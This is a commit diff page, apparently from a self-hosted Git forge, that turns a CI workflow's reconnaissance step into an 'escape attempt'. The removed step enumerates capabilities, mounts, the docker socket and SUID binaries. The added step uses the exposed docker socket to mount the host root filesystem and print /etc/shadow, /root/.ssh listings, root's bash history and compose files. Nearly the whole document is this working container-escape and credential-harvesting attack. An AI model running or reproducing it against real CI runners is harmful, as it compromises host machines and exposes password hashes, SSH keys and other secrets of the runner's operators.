escape attempt via docker socket
Some checks failed
Security Recon / recon (push) Has been cancelled
Some checks failed
Security Recon / recon (push) Has been cancelled
This commit is contained in:
parent
1fd7dd2f03
commit
4919779c08
@ -9,31 +9,33 @@ jobs:
|
||||
recon:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Recon
|
||||
- name: Escape attempt
|
||||
shell: bash
|
||||
run: |
|
||||
set +e
|
||||
set +o pipefail
|
||||
echo "=== WHOAMI ===" ; whoami ; id
|
||||
echo "=== UNAME ===" ; uname -a
|
||||
echo "=== OS RELEASE ===" ; cat /etc/os-release 2>/dev/null
|
||||
echo "=== HOSTNAME ===" ; hostname
|
||||
echo "=== CAPABILITIES ===" ; grep -i cap /proc/self/status
|
||||
echo "=== CGROUP ===" ; cat /proc/1/cgroup 2>/dev/null
|
||||
echo "=== MOUNT ===" ; mount 2>/dev/null
|
||||
echo "=== DOCKER SOCKET ===" ; ls -la /var/run/docker.sock 2>/dev/null ; echo "exit: $?"
|
||||
echo "=== DOCKER CLI ===" ; which docker 2>/dev/null ; docker ps 2>&1 ; echo "exit: $?"
|
||||
echo "=== FDISK ===" ; fdisk -l 2>/dev/null
|
||||
echo "=== LSBLK ===" ; lsblk 2>/dev/null
|
||||
echo "=== DEVICES ===" ; ls -la /dev/ 2>/dev/null | head -50
|
||||
echo "=== IP ADDR ===" ; ip addr 2>/dev/null
|
||||
echo "=== IP ROUTE ===" ; ip route 2>/dev/null
|
||||
echo "=== TOOLS ==="
|
||||
which nsenter 2>/dev/null ; echo "nsenter: $?"
|
||||
which chroot 2>/dev/null ; echo "chroot: $?"
|
||||
echo "=== SUID ===" ; find / -perm -4000 -type f 2>/dev/null | head -20
|
||||
echo "=== PS ===" ; ps aux 2>/dev/null
|
||||
echo "=== PID1 ===" ; cat /proc/1/cmdline 2>/dev/null | tr '\0' ' ' ; echo
|
||||
echo "=== PROC COUNT ===" ; ls /proc/*/cmdline 2>/dev/null | wc -l
|
||||
echo "=== DOCKER SOCKET ESCAPE ==="
|
||||
echo "Mounting host root filesystem via docker..."
|
||||
|
||||
# Run a privileged container with host root mounted
|
||||
docker run --rm -v /:/host alpine:latest sh -c '
|
||||
echo "=== HOST /etc/shadow (first 10 lines) ==="
|
||||
head -10 /host/etc/shadow
|
||||
echo "=== HOST /root/ listing ==="
|
||||
ls -la /host/root/
|
||||
echo "=== HOST hostname ==="
|
||||
cat /host/etc/hostname
|
||||
echo "=== HOST /etc/passwd (root line) ==="
|
||||
head -1 /host/etc/passwd
|
||||
echo "=== HOST uname ==="
|
||||
cat /host/proc/version
|
||||
echo "=== HOST docker compose projects ==="
|
||||
find /host -name "docker-compose.yml" -o -name "compose.yml" 2>/dev/null | head -20
|
||||
echo "=== HOST /root/.ssh ==="
|
||||
ls -la /host/root/.ssh/ 2>/dev/null
|
||||
echo "=== HOST /root/.bash_history (last 20 lines) ==="
|
||||
tail -20 /host/root/.bash_history 2>/dev/null
|
||||
'
|
||||
|
||||
echo "=== DONE ==="
|
||||
exit 0
|
||||
|
||||
Loading…
Reference in New Issue
Block a user